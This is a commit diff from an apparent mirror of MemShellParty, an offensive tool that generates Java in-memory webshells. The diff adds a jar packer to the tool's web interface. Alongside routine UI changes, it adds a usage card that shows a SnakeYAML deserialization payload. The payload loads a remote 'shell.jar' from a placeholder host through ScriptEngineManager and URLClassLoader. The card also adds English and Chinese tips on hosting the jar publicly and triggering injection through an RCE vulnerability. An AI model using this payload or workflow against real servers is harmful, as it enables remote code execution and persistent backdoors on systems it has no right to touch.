mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support scriptEngineJar packer
This commit is contained in:
Binary file not shown.
@@ -395,7 +395,9 @@ export default function MainConfigCard({
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<Label htmlFor="staticInitialize">{t("common:staticInitialize")}</Label>
|
||||
<Label htmlFor="staticInitialize">
|
||||
{t("common:staticInitialize")}
|
||||
</Label>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@@ -1,27 +1,79 @@
|
||||
import { ScrollTextIcon } from "lucide-react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import CodeViewer from "@/components/code-viewer";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { downloadBytes } from "@/lib/utils";
|
||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
||||
import { Separator } from "@/components/ui/separator";
|
||||
import { downloadBytes, formatBytes } from "@/lib/utils";
|
||||
import type { MemShellResult } from "@/types/memshell";
|
||||
|
||||
export function JarResult({
|
||||
packMethod,
|
||||
packResult,
|
||||
generateResult,
|
||||
}: Readonly<{ packResult: string; generateResult?: MemShellResult }>) {
|
||||
}: Readonly<{
|
||||
packMethod: string;
|
||||
packResult: string;
|
||||
generateResult?: MemShellResult;
|
||||
}>) {
|
||||
const { t } = useTranslation();
|
||||
const isPureJar = packMethod === "Jar";
|
||||
return (
|
||||
<div className="flex items-center justify-center">
|
||||
<Button
|
||||
type="button"
|
||||
onClick={() =>
|
||||
downloadBytes(
|
||||
packResult,
|
||||
undefined,
|
||||
`${generateResult?.shellConfig.server}${generateResult?.shellConfig.shellTool}MemShell`,
|
||||
)
|
||||
}
|
||||
>
|
||||
{t("common:download")} Jar
|
||||
</Button>
|
||||
</div>
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle className="text-md flex items-center gap-2">
|
||||
<ScrollTextIcon className="h-5" />
|
||||
<span>{t("common:usage")}</span>
|
||||
</CardTitle>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<ol className="list-decimal list-inside space-y-4 text-sm">
|
||||
<li className="flex items-center justify-between">
|
||||
<span>
|
||||
{t("common:download")} shell.jar (
|
||||
{formatBytes(atob(packResult).length)})
|
||||
</span>
|
||||
<Button
|
||||
size="sm"
|
||||
variant="outline"
|
||||
className="w-28"
|
||||
type="button"
|
||||
onClick={() =>
|
||||
downloadBytes(
|
||||
packResult,
|
||||
undefined,
|
||||
`${generateResult?.shellConfig.server}${generateResult?.shellConfig.shellTool}MemShell`,
|
||||
)
|
||||
}
|
||||
>
|
||||
{t("common:download")}
|
||||
</Button>
|
||||
</li>
|
||||
<Separator />
|
||||
{isPureJar ? (
|
||||
<>
|
||||
<li>{t("memshell:tips.download-jar")}</li>
|
||||
<li>{t("memshell:tips.trigger-injector-class-loading")}</li>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<li>{t("memshell:tips.download-jar")}</li>
|
||||
<li>{t("memshell:tips.load-jar-with-scriptenginemanager")}</li>
|
||||
<CodeViewer
|
||||
code={`!!javax.script.ScriptEngineManager [
|
||||
!!java.net.URLClassLoader [[
|
||||
!!java.net.URL ["http://yourhost/shell.jar"]
|
||||
]]
|
||||
]`}
|
||||
language="java"
|
||||
showLineNumbers={false}
|
||||
wrapLongLines={true}
|
||||
header={<div className="text-xs">SnakeYaml Payload</div>}
|
||||
/>
|
||||
</>
|
||||
)}
|
||||
</ol>
|
||||
</CardContent>
|
||||
</Card>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -18,7 +18,7 @@ export function ResultComponent({
|
||||
}>) {
|
||||
const showCode = packMethod === "JSP";
|
||||
const isAgent = packMethod.startsWith("Agent");
|
||||
const isJar = packMethod === "Jar";
|
||||
const isJar = packMethod.endsWith("Jar");
|
||||
const { t } = useTranslation();
|
||||
if (allPackResults) {
|
||||
return (
|
||||
@@ -29,7 +29,6 @@ export function ResultComponent({
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
if (isAgent) {
|
||||
return (
|
||||
<AgentResult
|
||||
@@ -42,31 +41,28 @@ export function ResultComponent({
|
||||
if (isJar) {
|
||||
return (
|
||||
<JarResult
|
||||
packMethod={packMethod}
|
||||
packResult={packResult ?? ""}
|
||||
generateResult={generateResult}
|
||||
/>
|
||||
);
|
||||
}
|
||||
if (!isAgent && !isJar) {
|
||||
return (
|
||||
<CodeViewer
|
||||
code={packResult ?? ""}
|
||||
header={
|
||||
<div className="flex items-center justify-between text-xs gap-2">
|
||||
<span>
|
||||
{t("common:packerMethod")}:{packMethod}
|
||||
</span>
|
||||
<span className="text-muted-foreground">
|
||||
({packResult?.length})
|
||||
</span>
|
||||
</div>
|
||||
}
|
||||
wrapLongLines={!showCode}
|
||||
showLineNumbers={showCode}
|
||||
language={showCode ? "java" : "text"}
|
||||
height={350}
|
||||
/>
|
||||
);
|
||||
}
|
||||
return null;
|
||||
|
||||
return (
|
||||
<CodeViewer
|
||||
code={packResult ?? ""}
|
||||
header={
|
||||
<div className="flex items-center justify-between text-xs gap-2">
|
||||
<span>
|
||||
{t("common:packerMethod")}:{packMethod}
|
||||
</span>
|
||||
<span className="text-muted-foreground">({packResult?.length})</span>
|
||||
</div>
|
||||
}
|
||||
wrapLongLines={!showCode}
|
||||
showLineNumbers={showCode}
|
||||
language={showCode ? "java" : "text"}
|
||||
height={350}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -18,8 +18,7 @@ export function OptionalClassFormField({
|
||||
const initialShellClassName = form.getValues("shellClassName") ?? "";
|
||||
const initialInjectorClassName = form.getValues("injectorClassName") ?? "";
|
||||
const [useRandomClassName, setUseRandomClassName] = useState(
|
||||
() =>
|
||||
!(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
|
||||
() => !(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
|
||||
);
|
||||
const [savedShellClassName, setSavedShellClassName] = useState(
|
||||
initialShellClassName,
|
||||
|
||||
@@ -209,7 +209,9 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
|
||||
const renderDynamicFields = useCallback(() => {
|
||||
const isBodyMethod = watchedProbeMethod === "ResponseBody";
|
||||
const needParam =
|
||||
watchedProbeContent === "Command" || watchedProbeContent === "Bytecode" || watchedProbeContent === "ScriptEngine";
|
||||
watchedProbeContent === "Command" ||
|
||||
watchedProbeContent === "Bytecode" ||
|
||||
watchedProbeContent === "ScriptEngine";
|
||||
const isSleepMethod = watchedProbeMethod === "Sleep";
|
||||
const isServerContent = watchedProbeContent === "Server";
|
||||
|
||||
|
||||
@@ -54,5 +54,8 @@
|
||||
"tips.specificUrlPattern": "URL Pattern must be specified, e.g., /hello",
|
||||
"tips.targetServerNotFound": "Target server not found?",
|
||||
"tips.targetServerRequest": "Request",
|
||||
"tips.try-to-use-shell": "Try to use the memory shell"
|
||||
"tips.try-to-use-shell": "Try to use the memory shell",
|
||||
"tips.download-jar": "Download the jar file and upload it to the public network server, so that it can be accessed through the http link to download",
|
||||
"tips.load-jar-with-scriptenginemanager": "Load the jar file with javax.script.ScriptEngineManager to implement injection",
|
||||
"tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability"
|
||||
}
|
||||
|
||||
@@ -55,7 +55,7 @@
|
||||
"tips.targetServerNotFound": "找不到目标服务?",
|
||||
"tips.targetServerRequest": "请求适配",
|
||||
"tips.try-to-use-shell": "尝试利用内存马",
|
||||
"shellNotWork": {
|
||||
"title": "利用失败?"
|
||||
}
|
||||
"tips.download-jar": "下载 jar 包并上传至公网服务器,使其能通过 http 链接访问下载",
|
||||
"tips.load-jar-with-scriptenginemanager": "通过 RCE 漏洞使用 javax.script.ScriptEngineManager 加载 jar 包实现注入",
|
||||
"tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载"
|
||||
}
|
||||
|
||||
@@ -56,7 +56,7 @@ export default function ProbeShellGenerator() {
|
||||
seconds: 5,
|
||||
sleepServer: "Tomcat",
|
||||
shrink: true,
|
||||
staticInitialize: true
|
||||
staticInitialize: true,
|
||||
},
|
||||
});
|
||||
|
||||
|
||||
@@ -152,7 +152,7 @@ export const probeShellFormSchema = yup.object().shape({
|
||||
debug: yup.boolean().optional(),
|
||||
byPassJavaModule: yup.boolean().optional(),
|
||||
shrink: yup.boolean().optional(),
|
||||
staticInitialize: yup.boolean().optional()
|
||||
staticInitialize: yup.boolean().optional(),
|
||||
});
|
||||
|
||||
type ProbeValidationResult = ResolverResult<ProbeShellFormSchema>;
|
||||
|
||||
@@ -37,7 +37,7 @@ export function transformToPostData(formValue: MemShellFormSchema) {
|
||||
const injectorConfig: InjectorConfig = {
|
||||
urlPattern: formValue.urlPattern,
|
||||
injectorClassName: formValue.injectorClassName,
|
||||
staticInitialize: formValue.staticInitialize
|
||||
staticInitialize: formValue.staticInitialize,
|
||||
};
|
||||
return {
|
||||
shellConfig,
|
||||
@@ -55,7 +55,7 @@ export function transformToProbePostData(formValue: ProbeShellFormSchema) {
|
||||
shrink: formValue.shrink,
|
||||
debug: formValue.debug,
|
||||
byPassJavaModule: formValue.byPassJavaModule,
|
||||
staticInitialize: formValue.staticInitialize
|
||||
staticInitialize: formValue.staticInitialize,
|
||||
};
|
||||
const probeContentConfig: ProbeContentConfig = {
|
||||
host: formValue.host,
|
||||
|
||||
Reference in New Issue
Block a user